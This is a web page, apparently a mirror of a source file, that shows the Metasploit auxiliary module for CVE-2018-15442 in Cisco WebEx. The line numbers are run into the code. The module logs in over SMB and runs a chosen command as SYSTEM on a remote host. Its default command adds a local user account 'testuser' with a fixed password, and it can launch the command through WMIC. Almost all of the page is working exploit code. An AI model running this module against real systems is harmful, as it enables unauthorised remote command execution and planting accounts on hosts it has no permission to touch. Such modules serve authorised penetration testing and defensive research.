Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/smb/webexec_command.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client::WebExec7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910# Aliases for common classes11SIMPLE = Rex::Proto::SMB::SimpleClient12XCEPT = Rex::Proto::SMB::Exceptions13CONST = Rex::Proto::SMB::Constants1415def initialize(info = {})16super(update_info(info,17'Name' => 'WebEx Remote Command Execution Utility',18'Description' => %q{19This module enables the execution of a single command as System by exploiting a remote20code execution vulnerability in Cisco's WebEx client software.21},2223'Author' => [24'Ron Bowes <[email protected]>',25],2627'License' => MSF_LICENSE,28'References' => [29['URL', 'https://webexec.org'],30['CVE', '2018-15442']31]32))3334register_options([35OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']),36OptPort.new('RPORT', [true, 'The Target port', 445]),37OptBool.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', false]),38])39end4041# This is the main control method42def run_host(ip)43@smbshare = datastore['SMBSHARE']44@ip = ip4546# Try and authenticate with given credentials47if connect48begin49smb_login50rescue Rex::Proto::SMB::Exceptions::Error => autherror51print_error("Unable to authenticate with given credentials: #{autherror}")52return53end5455command = datastore['COMMAND']56if datastore['FORCE_GUI']57command = "WMIC PROCESS CALL Create \"#{command}\""58end5960wexec(true) do |opts|61execute_single_command(command, opts)62end6364print_good("Command completed!")65disconnect66end67end68end697071